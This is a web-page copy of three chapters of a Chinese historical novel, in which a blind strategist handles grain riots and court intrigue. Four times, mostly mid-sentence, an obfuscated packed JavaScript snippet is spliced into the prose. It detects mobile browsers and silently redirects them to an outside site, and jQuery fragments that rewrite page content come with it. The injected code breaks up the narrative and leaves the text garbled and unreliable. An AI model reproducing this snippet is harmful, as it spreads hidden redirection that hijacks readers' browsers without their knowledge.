刀鞘击打在□□上的闷响，混杂着吃痛的闷哼与不绝的哀求，清晰传入室内。 云徵小脸煞白，既有胆怯，亦有物伤其类的悲戚惶然。她下意识攥紧若嵁的衣袖，声音发颤颤，“先生……外面……外面好多人……” 若嵁稳坐不动，指尖在琴弦上悄然收紧。 她听得真切，那妇人哭喊着“先生家有粮”。此刻聚集在屋外的，粗粗辨那杂乱的喘息与脚步声，绝不止三两人，恐有十余之众。 来者不善，善者不来。先前刻意放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533428|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓的步调，或许该加快了…… 门外，十几个面黄肌瘦的百姓，有男有女，衣衫褴褛，眼中闪烁着饥饿与绝望的光芒。那扇斑驳的木门此刻形同虚设，仿佛随时会被那样的眼神吞噬。 若以武力弹压，恐激生民变；若放任不理，则王府威信扫地。 此番阳谋，幕后之人，其意昭然。 “退后！”温和的劝慰已然无用，亲兵再次出声厉喝。 哀求与推搡中。一个汉子试图冲击，却被一脚踹在膝窝，哀嚎着跪倒在地。 人群骚动愈甚，眼看失态即将失控。亲兵唯有“噌”地拔出半截佩刀，雪亮的刀光在夕阳下泛着寒意，才堪堪震慑住蠢蠢欲动的人群。 饥民们被刀光所慑，一时不敢上前，却也不肯散去，围在几步开外，绝望地看着这边，低低的啜泣和哀求声不绝于耳。 就在这时，一个头发花白、身形佝偻的老妇，不知哪来的力气，猛地从人缝里钻出，竟不顾一切地扑向陋室门口—— “放肆！”亲卫眼神一厉，佩刀就要完全出鞘。 “且慢。” 一道平静却清晰的声音自门内传出。 若嵁不知何时已立在门边，云徵仍紧紧挨着她。那层白纱隔绝了视线，门外的惨状却已在她心中勾勒分明。 亲卫动作一顿，刀未归鞘，目光转向若嵁，带着询问。 “先生？” 若嵁并未即刻回应，而是微微侧首，对云徵低声道：“去，把屋里那袋粟米拿来。” 那袋米是此前余下的。若嵁用度极简，加之她与云徵食量甚小，消耗不了多少。 云徵愣了一下，随即会意，用力点头，松开若嵁的袖子，飞快跑回屋内。 门外的饥民隐约听到“粟米”二字，不由得又开始骚动起来。 两名亲卫并肩而立，彻底封住门口，手中刀虽未全出，威慑犹在。 若嵁这才“望”向两名亲兵的方向，平静道：“有劳二位。驱散即可，不必见血。” 这时，云徵吃力地提着那小袋粟米跑了回来。若嵁接过，在手中略一掂量，随即手臂一扬，将那袋米精准地掷向了人群侧后方的空地上。 “粮食在那儿！”不知谁喊了一声。 围在门口的饥民如同决堤的洪水，嚎叫着冲向那袋米，顷刻间扭打争抢作一团，再无人顾及这间陋室。 两名亲卫暗自松了口气，眼神依旧警惕地盯着那群为了一袋米而撕扯的人，场面混乱而可悲。 若嵁驻足门内，听着那为生存而发出的原始嘶吼，覆纱下的面容无喜无悲。她缓缓抬手，轻轻放在了仍在微微发抖的云徵头顶。 “看见了？”她低声问，不知是在问云徵，还是在叩问本心，“利之所在，群起而争。若无可图之利呢？” 她的声音里听不出怜悯，也听不出愤怒，唯有一种深沉的、洞悉世事的冷静。 “关门。” 她最后说道，旋即转身，摸索着融入室内昏暗的光线中。 那扇吱呀作响的木门，缓缓关上。门外争抢哭嚎的声音，被隔绝了大半，只余下模糊而令人不安的背景噪音，萦绕在苍梧镇上空。 33. 碣石调·幽兰（三十二） 得闻琴师若嵁仅凭一袋米便解了困局，聚集在樊楼一众粮商神色各异。 窗外是苍梧镇的万家灯火，窗内却弥漫着一种粘稠的沉默。上好的龙井茶汤早已凉透，无人有心品啜。 “一袋米……”良久，坐在下首的“永丰号”钱东家喃喃出声，肥硕的脸上肌肉抖动，不知是惊是怒，“就一袋米！那些泥腿子就……就散了？！” 他原本准备看一场好戏，看那不知天高地厚的瞎子如何被暴民撕碎，看燕王府的威信如何扫地。谁能想到，结局竟是如此？ “看来，此子……不可小觑。”对面，南城陈记的老掌柜抚着山羊胡，浑浊的眸中精光闪烁，“临危不乱，出手果决。看似弃米，实则是弃卒保帅，将祸水东引。这份急智与狠劲，绝非寻常琴师所有。不愧是官宦人家出身！” “哼。微末小吏养出的人，不过使些小聪明！”钱胖子愤愤不平，“若不是扯着燕王那点虎皮，她一个瞎子，早就被啃得骨头都不剩了！如今倒好，拿着鸡毛当令箭，真当自己是个人物了！” “钱东家慎言。”主位之上，一直闭目养神的中年男子缓缓开口。他身着赭色暗纹锦袍，面皮白净，手指修长，正是大同府乃至北境都排得上号的“广通源”的大东家孙鼎。 孙鼎锐利的目光扫过在场诸人，平静无波，却带着沉甸甸的压力：“她是何等人物，于咱们而言不重要。重要的是，她手里有燕王的手令，身边有燕王的亲兵。她代表的，是燕王的态度。” 他指尖轻轻敲击着紫檀桌面，发出笃笃的轻响，如同敲在每个人的心上。 “降价，可以。七十文，七十五文，甚至六十文，都不过是暂时少赚些银钱，伤不了筋骨。我等库中积粮，足以支撑到新粮入市，或……待到局势有变。”他话语意味深长，“但若让她借着查账之名，顺藤摸瓜，探到了不该探的东西……” 孙鼎没有说下去，但在场所有人都感到一股寒意。 赵存禄的供状就像一把不知会斩向何处的刀。他们虽然行事隐秘，与京中往来更是层层加密，但难保不会留下些许蛛丝马迹。一旦被那瞎子抓住，燕王的屠刀落下，可不会管你背后站着谁。 “孙翁，那依您之见，我等当下该如何应对？难道就任由她一个瞎子，骑在我们头上作威作福？”钱东家忍不住问道。 孙鼎端起凉掉的茶杯，轻呷了一口，唇边的弧度似笑非笑。 “应对？”他放下茶杯，讥诮道，“为何要由我们来应对？” 他转向窗外漆黑的夜空，仿佛能穿透重重屋舍，看到北城那间陋室。 “饥民如蝗，今日为一袋米可散，明日便能为一斗米再生事端。她能散一袋，能散十袋、百袋吗？伴君如伴虎。京中的幼虎尚且有所掣肘，而这北境的恶犬，何曾有过菩萨心肠？办事不利，首当问责的便是这位琴师 她欲以王府之威，行震慑之事，压我等就范。可这民心如水，能载舟，亦能覆舟。我等不妨便助这水，再‘涨’上一涨。” 他收回目光，再次看向在座众人，声音压低，却按藏锋芒： “从明日起，各家粮铺，粟米价格……至于放粮的数量需得再降一降。“ 见众人面色动容，孙鼎轻啜一口，唇舌间的清香回味悠长，“放出风声，就说王府查账，苛待商贾，我等周转不灵，存粮见底，无力维持低价。” 钱东家眼睛一亮：“妙啊！让那些泥腿子的怨气，都冲着王府和那瞎子去！” 孙鼎颔首补充：“让下面的人机灵点，暗中引导。要让所有人都知道，恰是这位若先生‘查账太严’，断了商路，才导致存粮告罄。她不是燕王的刀吗？那就看看，这把刀，最终会砍到谁的身上。” 他顿了顿，眼中闪过更深的算计。 “待事态愈加严峻，我等便去信京都府。将此地情形，尤其是这位‘若先生’的所作所为，详加呈报。就说……燕王周放离任用酷吏，苛虐商民，扰乱市舶，致使北境粮价沸腾，民怨汹汹，恐生大变。” 雅间内烛火跳动，映照着众人脸上心领神会，乃至带着几分残忍的快意。 他们相视一笑，把盏言说，仿佛已看到那不知天高地厚的盲眼琴师，如何在民心与算计的双重反噬下，焦头烂额，乃至……粉身碎骨。 隐于其中的孙鼎，被茶盏遮掩的唇线逐渐拉平，心中暗哂： 有这群蠢货在前面冲锋陷阵，牵制燕王，想必大人那边的压力要轻松许多。 窗外，夜风骤起，吹得樊楼檐下的灯笼剧烈摇晃，光影乱舞，如同此刻暗流汹涌的苍梧镇。 樊楼的密谋在茶凉烛昏中散去。而几乎在同一时刻，一匹快马踏碎了苍梧镇外的官道寂静，携着大同府广通源总号发出的加密商讯，混入南下的驿道洪流。 其目的地，非是京都，而是太原。 数日后，北平燕王府，右长史值房。 烛火通明，映照着四壁林立的卷宗架。裴昭雪端坐于宽大书案之后，月白常服衬得他面容清减了几分，眉宇间带着连日审阅文牒的疲惫，却不见半分松懈。 他才从大同府军械案首尾中抽身，快马加鞭地处置了一批尸位素餐、与京都府勾结的官吏。 此刻，案头除了来自苍梧、大同的常规公文，还堆叠着数封通过特殊渠道送达的密信。 其中一封，封蜡样式普通，并无特殊标记，但裴昭雪指尖触及其上时，眸光微凝。这是他安插于北境商路中的暗线所传。 他熟练地破开封蜡，展信细读。信中所载，正是大同府近日来的连番资讯。公知如雨势连绵，春植不佳，粮价略有平抑；隐秘如樊楼之中，一众粮商曾私会密谈。 其中具体算计，裴昭雪暂且不知。而京都府的那些人会如何构陷王爷，他却略有猜测。 无非是进一步引起北境粮价沸腾，民怨汹汹，令王爷进退两难。 他并未动怒，清俊的面容却愈发黑沉冷峭。 幕后之人的算计尚在裴昭雪预料之中，甚至可以说，他们正沿着一条他早已推演过的路径在行走。 以弱挟强，此局本非难解，于王爷而言，却是毕生死结。他总败于对弱者的不忍，对情有可原者的怜惜，三番五次，终至被逐北境。 王爷平生之失，皆在一个‘仁’字。对敌之仁，实为自戕。可若非此仁心，又何来昭雪今日…… 裴昭雪的轻叹声，与案上香炉袅袅青烟缠作一处，复又漫入他的思绪。 此题或有新解…… 裴昭雪目光越过信纸，投向窗外沉沉的夜色，仿佛能穿透这王府高墙，看到苍梧镇北城那片在饥饿与绝望中挣扎的土地，看到那间陋室中，那位正被推向风口浪尖的盲眼琴师。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533429|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“若嵁……”他无声地咀嚼着这个名字。 王爷破格启用此人，他初闻时亦觉冒险。一个来历不明、目不能视、却心机深沉之辈，手持稽查之权，游走于商贾之间，无异于踏在刀尖之上。 然而，先前来信中提及此次若嵁应对饥民围困的急智与果决，都让裴昭雪不得不重新评估此人。 “临危不乱，善用其‘弱’，更善借势。”他心中默评，“确是一把锋利的……双刃剑。” 然，其虽具不凡之才，私心却重。以势相压，终为下策。观其暗中筹谋，亦有几分先见之明，她未必不知此举恐致民变，却仍执意为之…… 王爷性情刚烈，最恶此等阴诡之举，若知晓，恐更激其雷霆之怒。而那位若先生，纵有急智，在权势面前，又能支撑几时？ “谋者谋于未兆，慎者慎于未成”，她身为谋士，行此险招，究竟所图为何？ 莫非……另有后手？ 这盘棋，裴昭雪竟一时参不透。 此刻呈报王爷，无异于火上浇油。而以王爷性情，盛怒之下，大同官场必遭清洗，届时民怨尽归王府，正中京都下怀。若不报……那若嵁的私心便是变数。 两相权衡，竟唯有按兵不动，方是上策。 裴昭雪缓缓将密信置于烛火上，看着火舌舔舐纸页，化为灰烬。 藩王势大，皇权旁落，偌大的权柄总有收回之时。即便王爷偏安一隅，最终亦未必能得善果。若要保下王爷，身边谋士便不能只有他裴昭雪一人。 他当即取过一张素笺，提笔蘸墨。 笔锋悬停片刻，落下的却非呈报燕王的密函，而是一封给苍梧镇亲兵校尉的寻常指令，只叮嘱其加强北城巡防，留意流民聚集，若有异动，及时弹压，但务以驱散为主，避免激化矛盾。 至于那盲眼琴师……裴昭雪搁下笔，指尖无意识地在案上轻叩。 他铺开另一张纸，写下几行字，装入普通信函，唤来亲信。 “此信，交予隋然将军。”他声音平稳，听不出波澜。 信中所书，仅是让隋然“酌情”增派两名精于市井探查的斥候，混入北城，密切关注粮商动向及民间流言，每日一报。他只字未提若嵁，更未言明监视之意。 有些棋，需藏于枰下。 他起身走至窗边，推开支摘窗。 夜风裹挟着初春的寒意涌入，吹散了几分值房内的沉闷，也吹动了案头那叠关于汇聚四方的公文。 裴昭雪的目光掠过漆黑的天幕，落向南方。 太原府……威远侯…… 他唇角泛起极淡的冷意。 自威远侯赴任太原府，王爷的封地风波频起。他的那些手段，虽歹毒却并非无解。破局关键，或许正在那被各方视为弃子的盲眼琴师身上。王爷刚烈，自己亦为情谊所缚，行事难免掣肘。 若有一柄理智逾情、行事无忌的“快刀”，或许真能劈开这盘根错节的死局。 灰烬落定，裴昭雪眸中沉静如古井无波。他铺纸研墨，心中已定。 这盘棋，他暂且作壁上观。且看那柄被他们双方刻意推向火堆的“刀”，究竟会如何抉择？是会畏惧退缩，还是会……迎刃而上，反将这潭水搅得更浑？ 又会否能在这惊涛骇浪中，为王爷，为北境…… 搏一个不一样的将来。 34. 碣石调·幽兰（三十三） 三日后 北城巷子里的风，带着一股铁锈和腐败混合的臭味，钻进云徵的鼻子里。 她蹲在陋室墙角，攥着若嵁前几日教她习字时用的那截炭笔，地上是几个歪歪扭扭，被她用鞋底蹭得模糊的字—— 「粮」、「安」、「先」。 先生已经两日未曾归家了。 门外檐下，两名玄甲侍卫肃立如松，唯按在刀柄上的手，停留的时刻愈发久了。 云徵自门缝偷望，只见他们甲胄之上，映出巷尾人影愈发繁密，正不住晃动。 那些影子不再是怯怯哀求，唯余沉沉静默，粘稠如涨潮污水，漫过北城每一寸龟裂土痕。 “没粮哩……就连广通源也关门了……” “说是王府查得严，断了货……” “都是那个瞎子！她一来，粮价没见低，反倒连买都买不到了！” 压抑的私语声，不绝于耳。云徵自然辨得“瞎子”所指，一颗心似被冰手攥紧，忙缩回脑袋，背抵着冷硬土墙，再也不敢向外窥探。 灶台上的药罐早已冷透，底下积了一层灰。先生不在，她连火都不敢生，恐那一点点炊烟，都会招惹更多饥民。 她忆起昨日溜去巷口看粮价牌，那木牌悬于半空，却空无一字。旁边广源通的铺板关得死死的，唯有几个伙计模样的壮汉，眼神凶狠，驱赶着任何试图靠近的人。 苍梧城中弥漫着的，是比饥肠更可怖的绝望，是困于悬崖之畔、将坠未坠时，一声声震耳欲聋的缄默嘶吼。 “云徵。” 低沉嘶哑的声音自门口响起，带着一身挥之不去的疲惫。 云徵猛地抬头，几乎是扑了过去，紧紧抱住若嵁冰冷的腿。 “先生！”那声音里带着哭腔和后怕。 若嵁僵硬地拍了拍她的头，覆纱的脸转向门外那片令人不安的寂静。“去，倒碗水来。” 水是凉的。 若嵁接过，指尖在粗糙的碗沿摩挲，并未饮用。她面向门外，低声问道：“外面……情形如何？” 云徵咽了口唾沫，磕磕绊绊地将自己的所见所闻尽数告知。 “……他们，他们都说……是先生……”在她心中，先生本是顶好的善人，便是复述旁人之言，也不愿有半分诋毁。 若嵁静默着，良久，才极轻地呵出一口气，那气息在清冷的空气里凝不成白雾。 “知道了。” 就在此时，远处忽传一声尖厉哭嚎，继而如燃引线，怒骂、呵斥、瓦罐碎裂之声轰然迸发，恰似河堤溃决，朝着这方寸之地汹涌漫来。 “跟他们拼了——！” “抢粮！不然都是死！” “这些权贵老爷不让咱们活！不如先砸了这里！” 门板被重物撞击，发出不堪重负的呻吟。两名亲兵“锵”地拔刀出鞘，厉声大喝：“退后！胆敢再近，格杀勿论！” 呵斥声很快被更疯狂的声浪淹没。 云徵骇得浑身战栗，死死攥住若嵁的衣袖。 若嵁将她护在身后，盲杖重重顿地，转向喧嚣来处，声线穿透木门，清晰却难平躁动：“诸位！粮事王府已有计较，尔等……” 一块石头猛地砸在门板上，巨响截断了她的话。 “呸！” “让她出来！让她把吞了的粮食吐出来！” 木门受接连撞击，哀鸣中已现裂纹，仿佛下一刻便要四分五裂。 “退后！” 两名亲兵背抵门板，额角青筋暴起，汗水自下颌滴落。他们紧握横刀，目光如炬，死死盯着震颤不休的门闩。纵使身经百战，面对已近疯狂的饥民，亦感到了前所未有的压力。 云徵吓得闭紧双眼，小手死死捂住耳朵，整个人蜷缩在若嵁身后，止不住地瑟瑟发抖。 然而，预想中门板破碎，暴民涌入的场景并未立刻发生。 千钧一发之际，若嵁蓦地抬手，抓住身旁亲兵即将挥出的利刃。 “别动！”她声音嘶哑，却带着一种不容置疑的决断。 那亲兵动作一滞，愕然看向她。 若嵁未做解释，侧耳倾听着门外的喧嚣，覆纱下的面容凝肃如冰。 在一片怒吼声中，她敏锐地捕捉到了一丝异样。 此番冲击虽声势浩大，却非预想中那般无序。嘈杂声里，至少有三四道异声，或在人群外围，或于侧畔，以更高声调、更富煽动之语，刻意引着冲击方向，挑动对目标的仇怨。 “……就是她断了大家的生路！” “王府的走狗！不让她吐出粮食，咱们都得饿死！” “冲进去！里面肯定有粮！” 这些声音尖锐而刻意，与周围因绝望而嘶哑的哭嚎截然不同。 此等紧绷之际，若嵁竟勾唇漾起一抹笑。 “狐狸尾巴露出来了。” 那笑意冰寒，转瞬即逝。 门外的喧嚣鼎沸，木门裂纹在撞击下蔓延。 “先生！”云徵低声啜泣。 若嵁心底微动，似有波澜掠起，却转瞬便定了心神，决意不改。她将云徵往身后更深处一推，盲杖交于左手，右手竟主动探向那摇摇欲坠的门闩。 “先生不可！”亲兵大惊，欲要阻拦。 “开门。” 若嵁声线不高，却自有一种异力，竟能穿透满场嘈杂，直抵人心。 两名亲兵对视一眼，皆从对方眸中见得惊疑与决绝。王爷命二人听其差遣、护其周全，非是看她赴死。然此刻，这盲眼琴师竟令他们生了服从之本能。 “吱嘎——哐！” 门闩被猛地抽离，破损的木门被外面汹涌的力量轰然洞开！ 空气中裹挟着绝望、愤怒与汗臭扑面而来。昏暗的光线下，是无数双布满血丝，被饥饿与仇恨灼烧的眼睛，是挥舞着的枯瘦手臂和简陋的棍棒。 人群如同决堤的洪水，眼看就要将门口这单薄的三人彻底吞噬。 “退下！” 若嵁非但不曾后退，反而向前踏出一步，盲杖重重顿在门槛之内。她覆纱的面容迎向那片狰狞的浪潮，清癯的身形在宽大玄氅下更显脆弱，却莫名带着一股岿然不动的气势。 为首的几个饥民被她这突如其来的举动骇得一滞。 恰在这电光石火的间隙，若嵁扬声开口，嗓音虽哑，却字字清晰，稳稳砸在每个人的耳膜上。 “尔等今日踏过此门，是想抢我若嵁一人之粮，还是想夺这北城、这苍梧、乃至整个大同府百姓的活路？！” 人群一静。 她不待回答，盲杖指向门外某个方向，尽管目不能视，那姿态却精准得仿佛能洞穿人心： “方才喊‘冲进去’，喊‘里面肯定有粮’的，是哪几位壮士？何不站出来，指给我这瞎子看看，这四壁漏风的陋室里，究竟藏了多少米山面海，值得诸位以命相搏？！” 这话如同冷水泼入滚油。人群中一阵骚动，不少人的目光下意识地四处逡巡，寻找那几个特别煽动的声音来源。 那几道异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533430|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声顿时偃旗息鼓，隐匿于人群之中。 若嵁捕捉到这细微变化，心知这步棋是走对了。她放缓语气，嗓音里的嘶哑裹着浓重疲惫，连话尾都掺了丝与他们同病相怜的悲凉： “在下一介残躯，盲眼之人。蒙王爷不弃，授以此任，稽查账目，只为平抑粮价，求一个‘安’字。安诸位父老之肠胃，安这苍梧城之秩序。” 她不动声色错开半步，露出身后掩面低泣的云徵。 “尔等家中，想必亦有稚子嗷嗷待哺，如我身后这小徒一般。将心比心，我若有粮，何须藏匿？何忍见孩童啼饥号寒？！” 提及孩童，人群中妇孺发出了低低的啜泣，原先被煽动的疯狂气息，稍稍被更原始的悲戚取代。 若嵁抓住这稍纵即逝的软化，声音陡然拔高，语带决绝： “粮价之事，皆系我一身！我若嵁在此立誓，” 她举起右手，立誓道： “三日！三日之内，若不能让这苍梧城的粮价。无须尔等动手，我若嵁自缚双手，出此城门，任你们……生啖我肉，以解饥馑！” 此言一出，满场皆寂。 连她身后的亲兵都倒吸一口冷气。这誓言太重，太毒，几乎断了自己所有退路。 饥民们面面相觑，被这誓言震在原地。 生啖其肉……这瞎子，是疯了不成？ “空口无凭！”人群中仍有不甘的声音在挑唆，但气势已弱了许多。 若嵁冷笑一声：“我人就在此地，门外有王府亲兵，城中有万千眼睛。三日之期，如白驹过隙，尔等还怕我飞了不成？” 盲杖再次顿地，发出沉闷的声响，压下了最后一丝躁动： “此事成与不成，于诸位皆无损伤。不妨信我一信？” 沉默笼罩了陋室门前。 有人悄然后退，有人低头抹泪，有人看着若嵁那单薄却笔直的身影，眼神复杂。 人群散去，此处唯余满地狼藉，破损的木门，以及空气中尚未散尽的暴戾与绝望。 两名亲兵直到人群彻底消失在巷尾，才缓缓将刀归鞘，后背已被冷汗浸透。他们看向若嵁的目光，充满了难以置信的震撼。 云徵直到此时，才敢放开紧紧捂着嘴的手，哇的一声哭了出来，扑进若嵁怀里。 若嵁任由她抱着，覆纱的脸微微仰起，对着门外清冷的天光。 马蹄声自远而近，铁甲铿锵作响，一步步重重踏在青石板上。 周放离勒马立在巷口，玄色大氅于躁动风里纹丝不动。一路奔来，他亲眼见得，那些因饥馑而扭曲的面庞，目光扫过他们手中充作武器的破棍烂石，难掩悲戚。 他治下的百姓，竟已成了这般模样。 握缰的手骤然收紧，周放离指节泛出青白，下颌线绷得极紧，眼底翻涌着痛楚与暴怒，几乎要破眶而出。 他目光沉沉落向前方的若嵁。 她拄着盲杖立在门内，白纱覆眼，面色苍白得近乎透明，周身却凝着股近乎冷酷的平静。她转向周放离的方向，声音清晰得不含半分波澜，缓缓开口：： “王爷，时机已至。” 周放离眸光骤然锐利，钉在她脸上。 若嵁的声音不高，却如冰珠坠地，字字清晰：“民气可用，亦可惜。此等汹汹民怨，若善加引导，便可化为护邦之力。粮价之事，在下已有计较。王爷何不借此民之气，直捣黄龙？” 她微微侧首，静待下文。 然而，周放离却并未如她预料般欣然应允。 35. 碣石调·幽兰（三十四） 朔风裹挟尘土枯枝，不断抽打周放离的衣袂。他端坐骏马之上，高大的身影在残破巷弄间投下巨影。 那双冷峻眼眸，先是扫过狼藉的地面，游弋于破损的木门，最后，牢牢钉在若嵁那张覆着白纱的脸上。 马蹄的“哒、哒”声和着雨滴敲击在青石板上，他驱马缓行。直至陋室门前，居高临下的阴影彻底将若嵁吞没。 “民气可用？”周放离低沉的声音里，裹着风雨欲来的平静，却无端教人胆寒，“你告诉本王，方才那几欲噬人的民气，如何‘可用’？又该去捣哪处的‘黄龙’？” 有如实质的眸光，似要穿透那层薄纱，灼烧她的灵魂。 “是那些逐利奸商，还是……你以为本王不敢动的，居于更高处之人？” 若嵁持杖的手骤然收紧，指节嶙峋惨白。她分明觉出那话语里压着的滔天怒意，并非对旁人，恰恰是冲她而来。 燕王心有逐鹿之志，若嵁从不曾疑。屠戮使团、虐杀战俘……此等行径，其浊名更非空穴来风。他今日之态度，究竟是何处出了差错？ “王爷明鉴。”她强稳声线，字句皆透着刻意的平静，只盼将话题拽回既定的轨迹，“民怨如水，堵不如疏。今日之乱，实乃有人煽风点火，欲将祸水引向王府。我等正可顺水推舟……” “顺水推舟？！”周放离陡然拔高的声音截断了她的话，“你目不能视，难道便当本王也是个睁眼瞎子不成？！” 这声怒喝，令门前亲兵默然垂首，连云徵都骇得一颤。 周放离翻身下马，暴戾的情绪在他周身翻涌，几乎要挣破皮囊倾泻而出。他几步便欺身而至，死死盯着她，齿缝间碾出的话语，冰冷刺骨： “自你掷出那袋米开始……或许更早。接下这稽查之任前，你就没想过尽快平抑粮价！你在等，在纵容！你在等这民怨沸腾，等这局面糜烂至不可收拾！” 他抬手扣住若嵁单薄的肩，指节因用力而泛白，那力道似要将她的肩骨生生捏碎。 “先前祸乱初萌时，你抬手即可镇压首恶，却按兵不动。你分明是放任自流，坐视这燎原之火燃至门前。如今危如累卵，你倒用慷慨陈词与如山毒誓，为自己披上悲情的外衣。好一招偷天换日，将这千钧重担与汹汹众意，全数呈于本王面前！” 剧痛刺骨，若嵁侧首避开周放离喷洒的喘息、剧烈起伏的胸膛，以及那双混杂着失望与愤怒的猩红双眸。 她并未挣扎，任由钳制的力道施加于身，声线平静，毫无被戳穿后的羞赧惭愧： “王爷既已洞悉，又何必动怒？” 若嵁仰头，“望”向周放离，无视他喷薄的怒气。 “是，我在等。等这民怨积聚，等这火星燎原。因为唯有如此，王爷……才会真正地、毫无转圜地，看到这疮痍之下，腐烂至深的根源！” 她的声音渐次拔高，带着孤注一掷的锋芒： “平抑粮价不过隔靴搔痒。王爷岂会不知，那些粮商背后站着谁？断了的粮道，真是天灾？裴长史的阳谋正道，又何曾能破得了这遍布朝野，盘根错节的阴私鬼蜮？！ 在下要的从非细枝末节的修补，而是釜底抽薪的刮骨疗毒。若不将脓疮挑破，让王爷亲眼看一看这污血横流，又如何能下得了决心，去动那些‘不敢动’、‘不能动’之人？！” 周放离扣着她肩膀的手，力道未松，但那滔天的怒意凝滞了一瞬。他早已知晓，眼前这盲眼琴师看似纤弱，内里却藏着那般疯狂与决绝。 见其面色缓和，若嵁意有所动，决意下一剂猛药。 “王爷行王道，步步为营，顾忌良多。然，非常之时，当行非常之法。温水煮蛙，只教蛙在温适里悄无声息地殒命，唯有烈火烹油，方能逼出那潜藏的真龙，也方能……让王爷看清，哪些是必须斩断的枷锁。” “好一个非常之法！” 周放离怒极反笑，“用百姓的绝望充做柴薪，用本王的仁心当做赌注！若嵁，你可知‘仁’字何解？你可知为君者，这天下黎民百姓的身家性命，从不是你这等谋士手中可随意算计的筹码！” 他松开若嵁肩头，指向身后萧条破败的巷弄： “你该庆幸自己是个瞎子。映不进这炼狱人间，映不进万民挣扎！他们今时可为你所用，他日亦可因任何缘由，向你、向本王挥刀！民心如镜，你让它照见仇恨，它必以仇恨馈之。‘直捣黄龙’，莫非是要用我苍梧城的根基，用北境未来的安定来换吗？！” 若嵁被他质问得后退半步，盲杖敲击地面，发出空洞之音。 “先生……” 云徵扯住若嵁的衣角。她指尖的力道极轻，她却能分明觉出，那掌下的骨相比往日更显干瘦。 抛出去的一袋米，是饵，亦是若嵁二人赖以生存的微末口粮。 肩头残留的痛楚弥留，若嵁冷硬的心竟有些微动摇。她的声音渐沉，褪去了先前的锐利，只剩被剥尽矫饰后的沙哑与疲惫。 “在下确然瞧不见炼狱景象，只能以耳代目，聆听这人间悲音。王爷以为，在下行事无端，不择手段。” 她直起身，白纱无风自动。 “但王爷，镜中影像，由光照而定。今日之仇恨，源于饥饿，源于绝望，源于被盘剥、被欺瞒。若我等能斩断那操纵光影的黑手，将这光照向真正的罪魁，让百姓看到粮食，看到希望，看到王府并非与他们为敌，而是在为他们搏一条生路——” 她的声音陡然扬起，带着一种近乎偏执的笃定： “那么这民心之镜，反射回的，为何不能是敬畏，是感激，是归附？！王爷，乱世用重典，沉疴下猛药。这苍梧城的根基早已被蛀空，北境的稳定早已是空中楼阁。唯有刮骨疗毒，剜去腐肉，方能迎来新生。” 她向前踏出半步，被纱锻遮掩的双眸，却仿佛与周放离的目光在空中激烈碰撞。 “高踞云端之人，何以在意泥潭中挣扎的众生？他们在意的，唯有王爷手中的权柄。他们正要借此民怨，将这权柄连同王爷您，一同埋葬。王爷，这非是在下之谋，而是时势逼出的……唯一生门。” 周放离锦衣的下摆随风微澜，若嵁鬓边散落的碎发亦随之扬起。 他看着她，这个站在破败陋室前，以盲眼窥探天下，以己身为赌注，妄图搅动风云的琴师。 是维持表面平静，坐视根基被一点点蚕食，最终在朝廷与内鬼的联合绞杀下轰然倒塌？ 还是采纳她的险计，引动民怨洪流，冲击现有的秩序，博取一个彻底翻盘、重定规则的机会？ 他都不想选。 周放离之一生，被裹挟着做了无数次选择—— 战场上生死一线的断尾求生、朝堂前忠义两难的屈膝低头、故交里情法交织的挥泪决断、至亲间恩仇难分的放手成全…… 诸般懊恼，总在午夜梦回时卷土重来，令他一次次惊坐而起，冷汗涔涔。 这方寸天地已是他最后的退守，为何……为何偏要再来搅弄，连这片刻的伪安宁都要夺去？ 良久，周放离的心绪方缓缓平复，唇边勾起一抹讽意，冷嗤道： “先生既有无双谋算，亦有三寸不烂之舌，本王深为叹服。沉疴难愈，当用重典。然，先生不敬生死，不悯世情，如此冷心冷肺之人，本王不敢为伍。” 冷心冷肺…… 骂得可真好。 若嵁既无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533431|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可辩驳，又无从置喙。她分明藏着解法，却着意迁延至今。罔顾百姓疾苦，不怜己身性命。 